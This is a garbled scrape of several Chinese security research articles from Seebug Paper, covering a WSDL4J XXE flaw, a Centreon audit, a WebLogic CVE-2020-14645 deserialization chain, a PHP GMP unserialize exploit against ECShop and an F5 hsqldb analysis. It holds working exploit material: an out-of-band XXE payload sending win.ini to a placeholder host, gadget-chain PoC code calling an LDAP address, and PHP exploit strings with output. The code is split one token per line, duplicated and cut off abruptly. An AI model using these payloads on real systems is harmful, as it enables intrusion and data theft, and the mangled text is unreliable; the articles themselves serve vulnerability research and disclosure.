(
(
String
)
null
,
value
)
;
}
}
}
for
(
Element
tempEl
=
DOMUtils
.
getFirstChildElement
(
defEl
)
;
tempEl
!=
null
;
tempEl
=
DOMUtils
.
getNextSiblingElement
(
tempEl
)
)
{
if
(
QNameUtils
.
matches
(
Constants
.
Q_ELEM_IMPORT
,
tempEl
)
)
{
def
.
addImport
(
this
.
parseImport
(
tempEl
,
def
,
(
Map
)
importedDefs
)
)
;
}
else
if
(
QNameUtils
.
matches
(
Constants
.
Q_ELEM_DOCUMENTATION
,
tempEl
)
)
{
def
.
setDocumentationElement
(
tempEl
)
;
}
else
if
(
QNameUtils
.
matches
(
Constants
.
Q_ELEM_TYPES
,
tempEl
)
)
{
def
.
setTypes
(
this
.
parseTypes
(
tempEl
,
def
)
)
;
}
else
if
(
QNameUtils
.
matches
(
Constants
.
Q_ELEM_MESSAGE
,
tempEl
)
)
{
def
.
addMessage
(
this
.
parseMessage
(
tempEl
,
def
)
)
;
}
else
if
(
QNameUtils
.
matches
(
Constants
.
Q_ELEM_PORT_TYPE
,
tempEl
)
)
{
def
.
addPortType
(
this
.
parsePortType
(
tempEl
,
def
)
)
;
}
else
if
(
QNameUtils
.
matches
(
Constants
.
Q_ELEM_BINDING
,
tempEl
)
)
{
def
.
addBinding
(
this
.
parseBinding
(
tempEl
,
def
)
)
;
}
else
if
(
QNameUtils
.
matches
(
Constants
.
Q_ELEM_SERVICE
,
tempEl
)
)
{
def
.
addService
(
this
.
parseService
(
tempEl
,
def
)
)
;
}
else
{
def
.
addExtensibilityElement
(
this
.
parseExtensibilityElement
(
Definition
.
class
,
tempEl
,
def
)
)
;
}
}
this
.
parseExtensibilityAttributes
(
defEl
,
Definition
.
class
,
def
,
def
)
;
return
def
;
}
protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException {
Import importDef = def.createImport();
String locationURI;
try {
String namespaceURI = DOMUtils.getAttribute(importEl, "namespace");
locationURI = DOMUtils.getAttribute(importEl, "location");//获取location属性
String contextURI = null;
if (namespaceURI != null) {
importDef.setNamespaceURI(namespaceURI);
if (locationURI != null) {
importDef.setLocationURI(locationURI);
if (this.importDocuments) {
try {
contextURI = def.getDocumentBaseURI();
Definition importedDef = null;
InputStream inputStream = null;
InputSource inputSource = null;
URL url = null;
if (this.loc != null) {
inputSource = this.loc.getImportInputSource(contextURI, locationURI);
String liu = this.loc.getLatestImportURI();
importedDef = (Definition)importedDefs.get(liu);
if (inputSource.getSystemId() == null) {
inputSource.setSystemId(liu);
} else {
URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null;
url = StringUtils.getURL(contextURL, locationURI);
importedDef = (Definition)importedDefs.get(url.toString());
if (importedDef == null) {
inputStream = StringUtils.getContentAsInputStream(url);//进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&或"等字符的文件会报错导致带不了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected
Import
parseImport
(
Element
importEl
,
Definition
def
,
Map
importedDefs
)
throws
WSDLException
{
Import
importDef
=
def
.
createImport
(
)
;
String
locationURI
;
try
{
String
namespaceURI
=
DOMUtils
.
getAttribute
(
importEl
,
"namespace"
)
;
locationURI
=
DOMUtils
.
getAttribute
(
importEl
,
"location"
)
;
//获取location属性
String
contextURI
=
null
;
if
(
namespaceURI
!=
null
)
{
importDef
.
setNamespaceURI
(
namespaceURI
)
;
}
if
(
locationURI
!=
null
)
{
importDef
.
setLocationURI
(
locationURI
)
;
if
(
this
.
importDocuments
)
{
try
{
contextURI
=
def
.
getDocumentBaseURI
(
)
;
Definition
importedDef
=
null
;
InputStream
inputStream
=
null
;
InputSource
inputSource
=
null
;
URL
url
=
null
;
if
(
this
.
loc
!=
null
)
{
inputSource
=
this
.
loc
.
getImportInputSource
(
contextURI
,
locationURI
)
;
String
liu
=
this
.
loc
.
getLatestImportURI
(
)
;
importedDef
=
(
Definition
)
importedDefs
.
get
(
liu
)
;
if
(
inputSource
.
getSystemId
(
)
==
null
)
{
inputSource
.
setSystemId
(
liu
)
;
}
}
else
{
URL
contextURL
=
contextURI
!=
null
?
StringUtils
.
getURL
(
(
URL
)
null
,
contextURI
)
:
null
;
url
=
StringUtils
.
getURL
(
contextURL
,
locationURI
)
;
importedDef
=
(
Definition
)
importedDefs
.
get
(
url
.
toString
(
)
)
;
if
(
importedDef
==
null
)
{
inputStream
=
StringUtils
.
getContentAsInputStream
(
url
)
;
//进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&或"等字符的文件会报错导致带不了
.
.
.
.
.
.
<!DOCTYPE x [
<!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">
%bbb;
<definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">
</definitions>
xx.dtd如下:
<!ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'>%ccc;
1
2
3
4
5
6
7
8
9
10
11
12
xml
如下:
&
lt
;
!
DOCTYPE
x
[
&
lt
;
!
ENTITY
%
aaa
SYSTEM
"file:///C:/Windows/win.ini"
>
&
lt
;
!
ENTITY
%
bbb
SYSTEM
"http://yourip:8000/xx.dtd"
>
%
bbb
;
]
>
&
lt
;
definitions
name
=
"HelloService"
xmlns
=
"http://schemas.xmlsoap.org/wsdl/"
>
&
ddd
;
&
lt
;
/
definitions
>
xx
.
dtd
如下:
&
lt
;
!
ENTITY
%
ccc
'<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'
>
%
ccc
;
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1342/
2020-11-03
作者:huha@知道创宇404实验室
时间:2020年8月26日
代码审计的思路往往是多种多样的,可以通过历史漏洞获取思路、黑盒审计快速确定可疑点,本文则侧重于白盒审计思路,对Centreon V20.04[
1
]的审计过程进行一次复盘记录,文中提及的漏洞均已提交官方并修复。
Centreon(Merethis Centreon)是法国Centreon公司的一套开源的系统监控工具 。该产品主要提供对网络、系统和应用程序等资源的监控功能。
网站基本结构
源代码目录组成
-
centreon/www/index.php
是网站的入口文件,会先进行登录认证,未登录的话跳转进入登录页,登录成功后进入后台
-
centreon/www/main.php
与
centreon/www/main.get.php
,对应PC端与移动端的路由功能,根据不同的参数,可以加载到后台不同的功能页面,在实际调试的过程,发现使用main.php加载对应的功能页时,最终会调用main.get.php,所以路由部分直接看main.get.php即可
-
entreon/www/include/
目录包含核心功能代码、公共类。其中有些功能代码可以直接通过路径访问,有些则需要通过main.get.php页面进行路由访问
-
centreon/www/api/
目录下的index.php是另一处路由功能,可以实例化
centreon/www/api/class/*.class.php
、
centreon/www/modules/
、
centreon/www/widgets/*/webServices/rest/*.class.php
、
centreon/src/
中的类并调用指定方法
在审计代码的时候,有两个要关注点:
-
重点审查
centreon/www/include/
和
centreon/www/api/class
/两个目录,因为这些目录下的功能点可以通过
centreon/www/main.php
或
centreon/www/api/index.php
路由访问
-
重点寻找绕过登录认证或者越权的方式,否则后台漏洞难以利用
如下简要分析
centreon/www/
目录下的部分脚本
index.php
index.php会进行登录认证,检查是否定义$_SESSION["centreon"]变量,这个值在管理员登录后设置。程序登录有两种方式,使用账密或者token,相关逻辑在
/centreon/www/include/core/login/processLogin.php
中。不止index.php,
centreon/www/include/
下大部分功能页都会检查session,没有登录就无法访问
main.get.php
这是主要的路由功能,程序开头对数据进行过滤。$_GET数组使用fiter_var()过滤处理,编码特殊字符,有效地防御了一些XSS,比如可控变量在引号中的情况,无法进行标签闭合,无法逃逸单引号
-
分析历史漏洞,在复现和调试的过程中,可以比较快的了解这个框架的结构,也可以从历史漏洞中获取思路,举一反三
-
黑盒审计,开启抓包工具,测试可疑的功能点并观察数据包,这样可以加快对网站路由的熟悉,也可以快速的验证一些思路,排除一些可能性,仍然存疑的功能点可以在白盒审计时进一步确认;
-
白盒审计,入口脚本,路由方式,核心配置,常用功能模块和数据验证过滤操作,这些都是要留意的,当然最主要还是看入口,路由和数据过滤验证的部分;其他的如核心配置,常用功能模块,可以按需查看,大概了解了网站架构就可以开始看对应的功能代码了,看的时候可以分两个角度:一个就是从刚才黑盒测试遗留的可疑点入手,断点功能代码,审查是否存在漏洞;另一个就是从敏感关键字入手,全局搜索,溯源追踪。
-
注重不同漏洞的组合攻击,无论是这次的Centreon One_click to RCE漏洞,还是通达OA任意删除认证文件导致的未授权RCE、PHPCMS V9 authkey泄露导致的未授权RCE,打的都是一套组合拳,在漏洞挖掘的过程可以多加关注
[1] Centreon V20.04
https://github.com/centreon/centreon/releases/tag/20.04.0
[2] CVE-2020-12688漏洞公开细节
https://github.com/TheCyberGeek/Centreon-20.04
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1313/
2020-11-03
作者:极光 @ 知道创宇404区块链安全研究团队
时间:2020年8月31日
昨晚突然看到群里的一个消息,
揭秘uniswap-defi项目漏洞-割韭菜新手法
,心想还有这事?而且还是中英文介绍。
You don't have to worry that you will lose money, because other people can only buy and can't sell it in this contract. When the trading pair is created, you can change for another wallet (the wallet address of the contract can be bought and sold) to buy it, and then test whether it can be sold. Here's the information for selling`
You
don
't have to worry that you will lose money, because other people can only buy and can'
t
sell
it
in
this
contract
.
When
the
trading
pair
is
created
,
you
can
change
for
another
wallet
(
the
wallet
address
of
the
contract
can
be
bought
and
sold
)
to
buy
it
,
and
then
test
whether
it
can
be
sold
.
Here
'
s
the
information
for
selling
`
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1323/
2020-11-03
作者:DEADF1SH_CAT@知道创宇404实验室
时间:2020年8月3日
Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。
//poc1
javax.management.BadAttributeValueExpException.readObject()
com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
java.util.concurrent.ConcurrentSkipListMap.cpr()
com.tangosol.util.comparator.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
//poc2
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
//...
Method.invoke()
//...
Runtime.exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//poc1
javax
.
management
.
BadAttributeValueExpException
.
readObject
(
)
com
.
tangosol
.
internal
.
sleepycat
.
persist
.
evolve
.
Mutations
.
toString
(
)
java
.
util
.
concurrent
.
ConcurrentSkipListMap
$
SubMap
.
size
(
)
java
.
util
.
concurrent
.
ConcurrentSkipListMap
$
SubMap
.
isBeforeEnd
(
)
java
.
util
.
concurrent
.
ConcurrentSkipListMap
.
cpr
(
)
com
.
tangosol
.
util
.
comparator
.
ExtractorComparator
.
compare
(
)
com
.
tangosol
.
util
.
extractor
.
ChainedExtractor
.
extract
(
)
com
.
tangosol
.
util
.
extractor
.
ReflectionExtractor
(
)
.
extract
(
)
Method
.
invoke
(
)
//...
com
.
tangosol
.
util
.
extractor
.
ReflectionExtractor
(
)
.
extract
(
)
Method
.
invoke
(
)
Runtime
.
exec
(
)
//poc2
java
.
util
.
PriorityQueue
.
readObject
(
)
java
.
util
.
PriorityQueue
.
heapify
(
)
java
.
util
.
PriorityQueue
.
siftDown
(
)
java
.
util
.
PriorityQueue
.
siftDownUsingComparator
(
)
com
.
tangosol
.
util
.
extractor
.
AbstractExtractor
.
compare
(
)
com
.
tangosol
.
util
.
extractor
.
MultiExtractor
.
extract
(
)
com
.
tangosol
.
util
.
extractor
.
ChainedExtractor
.
extract
(
)
//...
Method
.
invoke
(
)
//...
Runtime
.
exec
(
)
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//这里chainedExtractor为ChainedExtractor对象,后续会说明chainedExtractor对象的具体构造
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();
Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);
setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行构造
//利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare,因此需要对数组进行赋值
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
queueArray[1] = jdbcRowSet;
JdbcRowSetImpl
jdbcRowSet
=
(
JdbcRowSetImpl
)
JdbcRowSetImpl
.
class
.
newInstance
(
)
;
Method
setDataSource_Method
=
jdbcRowSet
.
getClass
(
)
.
getMethod
(
"setDataSourceName"
,
String
.
class
)
;
setDataSource_Method
.
invoke
(
jdbcRowSet
,
"ldap://xx.xx.xx.xx:1389/#Poc"
)
;
//地址自行构造
//利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare,因此需要对数组进行赋值
Object
[
]
queueArray
=
(
Object
[
]
)
(
(
Object
[
]
)
Reflections
.
getFieldValue
(
queue
,
"queue"
)
)
;
queueArray
[
0
]
=
jdbcRowSet
;
queueArray
[
1
]
=
jdbcRowSet
;
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
UniversalExtractor
universalExtractor
=
new
UniversalExtractor
(
)
;
Object
object
=
new
Object
[
]
{
}
;
Reflections
.
setFieldValue
(
universalExtractor
,
"m_aoParam"
,
object
)
;
Reflections
.
setFieldValue
(
universalExtractor
,
"m_sName"
,
"DatabaseMetaData"
)
;
Reflections
.
setFieldValue
(
universalExtractor
,
"m_fMethod"
,
false
)
;
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
ReflectionExtractor
reflectionExtractor
=
new
ReflectionExtractor
(
"toString"
,
new
Object
[
]
{
}
)
;
ChainedExtractor
chainedExtractor
=
new
ChainedExtractor
(
new
ValueExtractor
[
]
{
reflectionExtractor
}
)
;
PriorityQueue
&
lt
;
Object
&
gt
;
queue
=
new
PriorityQueue
(
2
,
new
ExtractorComparator
(
chainedExtractor
)
)
;
queue
.
add
(
"1"
)
;
queue
.
add
(
"1"
)
;
初次接触完整的反序列化漏洞分析,在整个分析过程中收获到很多东西。笔者得到的不仅仅只是知识上的收获,在调试过程中也学到了很多调试技巧。另外本文看起来可能会比较啰嗦冗余,但其初衷是想要站在读者的角度去思考,去为了方便一些同样刚入门的人阅读起来,能够更加浅显易懂。学安全,我们经常会碰壁,对于一些知识会比较难啃。有些人遇到就选择了放弃,然后却因此原地踏步。不妨就这样迎难而上,咬着牙啃下去,到最后,你会发现,你得到的,远远比你付出的要多。可能对部分人不太有效、毕竟因人而异,但这是自己在学习过程中所体会到的,也因此想要分享给大家这么一个建议。相信在未来,自己对于反序列化漏洞的理解以及挖掘思路,能够有更深刻的认知,同时激发出自己不一样的思维碰撞。
References
[1] Oracle 7月安全更新
https://www.oracle.com/security-alerts/cpujul2020.html
[2] T3反序列化 Weblogic12.2.1.4.0 JNDI注入
https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ
[3] Y4er的poc
https://github.com/Y4er/CVE-2020-14645
[4] Java反序列化:基于CommonsCollections4的Gadget分析
https://www.freebuf.com/articles/others-articles/193445.html
[5] Oracle WebLogic 最新补丁的绕过漏洞分析(CVE-2020-2883)
https://blog.csdn.net/systemino/article/details/106117659
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1280/
2020-11-03
作者:LoRexxar'@知道创宇404实验室
时间:2020年3月31日
English Version:
https://paper.seebug.org/1268
本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static
int
gmp_unserialize
(
zval *
*
object
,
zend_class_entry *
ce
,
const
unsigned
char
*
buf
,
zend_uint
buf_len
,
zend_unserialize_data *
data
TSRMLS_DC
)
/* {{{ */
{
.
.
.
ALLOC_INIT_ZVAL
(
zv_ptr
)
;
if
(
!
php_var_unserialize
(
&
amp
;
zv_ptr
,
&
amp
;
p
,
max
,
&
amp
;
unserialize_data
TSRMLS_CC
)
||
Z_TYPE_P
(
zv_ptr
)
!=
IS
_
ARRAY
)
{
zend_throw_exception
(
NULL
,
"Could not unserialize properties"
,
0
TSRMLS_CC
)
;
goto
exit
;
}
if
(
zend_hash_num_elements
(
Z_ARRVAL_P
(
zv_ptr
)
)
!=
0
)
{
zend_hash_copy
(
zend_std_get_properties
(
*
object
TSRMLS_CC
)
,
Z_ARRVAL_P
(
zv_ptr
)
,
(
copy_ctor_func_t
)
zval_add_ref
,
NULL
,
sizeof
(
zval *
)
)
;
}
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
return zobj->properties;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
$obj4 = new stdClass;
var_dump($x);
var_dump($obj);
var_dump($obj2);
var_dump($obj3);
var_dump($obj4);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
&
lt
;
?
php
class
obj
{
var
$
ryat
;
function
__wakeup
(
)
{
$
this
->
ryat
=
1
;
}
}
class
b
{
var
$
ryat
=
1
;
}
$
obj
=
new
stdClass
;
$
obj
->
aa
=
1
;
$
obj
->
bb
=
2
;
$
obj2
=
new
b
;
$
obj3
=
new
stdClass
;
$
obj3
->
aa
=
2
;
$
inner
=
's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'
;
$
exploit
=
'a:1:{i:0;C:3:"GMP":'
.
strlen
(
$
inner
)
.
':{'
.
$
inner
.
'}}'
;
$
x
=
unserialize
(
$
exploit
)
;
$
obj4
=
new
stdClass
;
var_dump
(
$
x
)
;
var_dump
(
$
obj
)
;
var_dump
(
$
obj2
)
;
var_dump
(
$
obj3
)
;
var_dump
(
$
obj4
)
;
?
>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
array
(
1
)
{
[
0
]
=
>
&
amp
;
int
(
1
)
}
object
(
stdClass
)
#1 (3) {
[
"aa"
]
=
>
string
(
2
)
"hi"
[
"bb"
]
=
>
string
(
2
)
"hi"
[
0
]
=
>
object
(
obj
)
#5 (1) {
[
"ryat"
]
=
>
&
amp
;
int
(
1
)
}
}
object
(
b
)
#2 (1) {
[
"ryat"
]
=
>
int
(
1
)
}
object
(
stdClass
)
#3 (1) {
[
"aa"
]
=
>
int
(
2
)
}
object
(
stdClass
)
#4 (0) {
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
array
(
1
)
{
[
0
]
=
>
&
amp
;
object
(
GMP
)
#4 (4) {
[
"aa"
]
=
>
string
(
2
)
"hi"
[
"bb"
]
=
>
string
(
2
)
"hi"
[
0
]
=
>
object
(
b
)
#5 (1) {
[
"ryat"
]
=
>
&
amp
;
object
(
GMP
)
#4 (4) {
[
"aa"
]
=
>
string
(
2
)
"hi"
[
"bb"
]
=
>
string
(
2
)
"hi"
[
0
]
=
>
*
RECURSION*
[
"num"
]
=
>
string
(
2
)
"32"
}
}
[
"num"
]
=
>
string
(
2
)
"32"
}
}
object
(
stdClass
)
#1 (2) {
[
"aa"
]
=
>
int
(
1
)
[
"bb"
]
=
>
int
(
2
)
}
object
(
b
)
#2 (1) {
[
"ryat"
]
=
>
int
(
1
)
}
object
(
stdClass
)
#3 (1) {
[
"aa"
]
=
>
int
(
2
)
}
object
(
stdClass
)
#6 (0) {
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array
(
1
)
{
[
0
]
=
>
&
amp
;
int
(
2
)
}
object
(
stdClass
)
#1 (2) {
[
"aa"
]
=
>
int
(
1
)
[
"bb"
]
=
>
int
(
2
)
}
object
(
b
)
#2 (4) {
[
"ryat"
]
=
>
int
(
1
)
[
"aa"
]
=
>
string
(
2
)
"hi"
[
"bb"
]
=
>
string
(
2
)
"hi"
[
0
]
=
>
object
(
obj
)
#5 (1) {
[
"ryat"
]
=
>
&
amp
;
int
(
2
)
}
}
object
(
stdClass
)
#3 (1) {
[
"aa"
]
=
>
int
(
2
)
}
object
(
stdClass
)
#4 (0) {
}
if (!empty($_COOKIE['ECSCP']['lastfilter']))
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[
129
]
=
>
string
(
3
)
"ECS"
[
130
]
=
>
string
(
9
)
"ecs_error"
[
131
]
=
>
string
(
8
)
"exchange"
[
132
]
=
>
string
(
9
)
"cls_mysql"
[
133
]
=
>
string
(
11
)
"cls_session"
[
134
]
=
>
string
(
12
)
"cls_template"
[
135
]
=
>
string
(
11
)
"certificate"
[
136
]
=
>
string
(
6
)
"oauth2"
[
137
]
=
>
string
(
15
)
"oauth2_response"
[
138
]
=
>
string
(
14
)
"oauth2_request"
[
139
]
=
>
string
(
9
)
"transport"
[
140
]
=
>
string
(
6
)
"matrix"
[
141
]
=
>
string
(
16
)
"leancloud_client"
require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');
require
(
dirname
(
__FILE__
)
.
'/includes/init.php'
)
;
require_once
(
ROOT
_
PATH
.
'includes/lib_order.php'
)
;
require_once
(
ROOT
_
PATH
.
'includes/lib_goods.php'
)
;
require_once
(
ROOT
_
PATH
.
'includes/cls_matrix.php'
)
;
include_once
(
ROOT
_
PATH
.
'includes/cls_certificate.php'
)
;
require
(
'leancloud_push.php'
)
;
function make_compiled($filename)
$name = $this->compile_dir . '/' . basename($filename) . '.php';
if ($this->force_compile || $filestat['mtime'] > $expires)
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));
if (file_put_contents($name, $source, LOCK_EX) === false)
trigger_error('can\'t write:' . $name);
$source = $this->_eval($source);
return $source;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function
make_compiled
(
$
filename
)
{
$
name
=
$
this
->
compile
_
dir
.
'/'
.
basename
(
$
filename
)
.
'.php'
;
.
.
.
if
(
$
this
->
force_compile
||
$
filestat
[
'mtime'
]
>
$
expires
)
{
$
this
->
_current_file
=
$
filename
;
$
source
=
$
this
->
fetch_str
(
file_get_contents
(
$
filename
)
)
;
if
(
file_put_contents
(
$
name
,
$
source
,
LOCK_EX
)
===
false
)
{
trigger_error
(
'can\'t write:'
.
$
name
)
;
}
$
source
=
$
this
->
_eval
(
$
source
)
;
}
return
$
source
;
}
function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据
$pa = $this->str_trim($val);
foreach ($pa AS $value)
if (strrpos($value, '='))
list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));
if ($b{0} == '$')
if ($type)
eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
$para[$a] = $this->get_val(substr($b, 1));
$para[$a] = $b;
return $para;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function
get_para
(
$
val
,
$
type
=
1
)
// 处理insert外部函数/需要include运行的函数的调用数据
{
$
pa
=
$
this
->
str_trim
(
$
val
)
;
foreach
(
$
pa
AS
$
value
)
{
if
(
strrpos
(
$
value
,
'='
)
)
{
list
(
$
a
,
$
b
)
=
explode
(
'='
,
str_replace
(
array
(
' '
,
'"'
,
"'"
,
'"'
)
,
''
,
$
value
)
)
;
if
(
$
b
{
0
}
==
'$'
)
{
if
(
$
type
)
{
eval
(
'$para[\''
.
$
a
.
'\']='
.
$
this
->
get_val
(
substr
(
$
b
,
1
)
)
.
';'
)
;
}
else
{
$
para
[
$
a
]
=
$
this
->
get_val
(
substr
(
$
b
,
1
)
)
;
}
}
else
{
$
para
[
$
a
]
=
$
b
;
}
}
}
return
$
para
;
}
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1267/
2020-11-03
作者:Longofo@知道创宇404实验室
时间:2020年7月10日
English Version:
https://paper.seebug.org/1272/
F5 BIG-IP最近发生了一次比较严重的RCE漏洞,其中主要公开出来的入口就是tmsh与hsqldb方式,tmsh的利用与分析分析比较多了,如果复现过tmsh的利用,就应该知道这个地方利用有些鸡肋,后面不对tmsh进行分析,主要看下hsqldb的利用。hsqldb的利用
poc
已经公开,但是java hsqldb的https导致一直无法复现,尝试了各种方式也没办法了,只好换其他思路,下面记录下复现与踩坑的过程。
利用源码搭建一个hsqldb http servlet
如果调试过hsqldb,就应该知道hsqldb.jar的代码是无法下断点调试的,这是因为hsqldb中类的linenumber table信息没有了,linenumber table只是用于调式用的,对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别:
使用
javap -verbose hsqlServlet.class
命令看下hsqldb中hsqlServlet.class类的详细信息:
Classfile /C:/Users/dell/Desktop/hsqlServlet.class
Last modified 2018-11-14; size 128 bytes
MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #3.#7 // org/hsqldb/Servlet."<init>":()V
#2 = Class #8 // hsqlServlet
#3 = Class #9 // org/hsqldb/Servlet
#4 = Utf8 <init>
#5 = Utf8 ()V
#6 = Utf8 Code
#7 = NameAndType #4:#5 // "<init>":()V
#8 = Utf8 hsqlServlet
#9 = Utf8 org/hsqldb/Servlet
public hsqlServlet();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method org/hsqldb/Servlet."<init>":()V
4: return
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Classfile
/
C
:
/
Users
/
dell
/
Desktop
/
hsqlServlet
.
class
Last
modified
2018
-
11
-
14
;
size
128
bytes
MD5
checksum
578c775f3dfccbf4e1e756a582e9f05c
public
class
hsqlServlet
extends
org
.
hsqldb
.
Servlet
minor
version
:
0
major
version
:
51
flags
:
ACC_PUBLIC
,
ACC_SUPER
Constant
pool
:
#1 = Methodref #3.#7 // org/hsqldb/Servlet."<init>":()V
#2 = Class #8 // hsqlServlet
#3 = Class #9 // org/hsqldb/Servlet
#4 = Utf8 <init>
#5 = Utf8 ()V
#6 = Utf8 Code
#7 = NameAndType #4:#5 // "<init>":()V
#8 = Utf8 hsqlServlet
#9 = Utf8 org/hsqldb/Servlet
{
public
hsqlServlet
(
)
;
descriptor
:
(
)
V
flags
:
ACC_PUBLIC
Code
:
stack
=
1
,
locals
=
1
,
args_size
=
1
0
:
aload
_
0
1
:
invokespecial
#1 // Method org/hsqldb/Servlet."<init>":()V
4
:
return
}
Classfile /C:/Users/dell/Desktop/Test.class
Last modified 2020-7-13; size 586 bytes
MD5 checksum eea80d1f399295a29f02f30a3764ff25
Compiled from "Test.java"
public class Test
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #7.#22 // java/lang/Object."<init>":()V
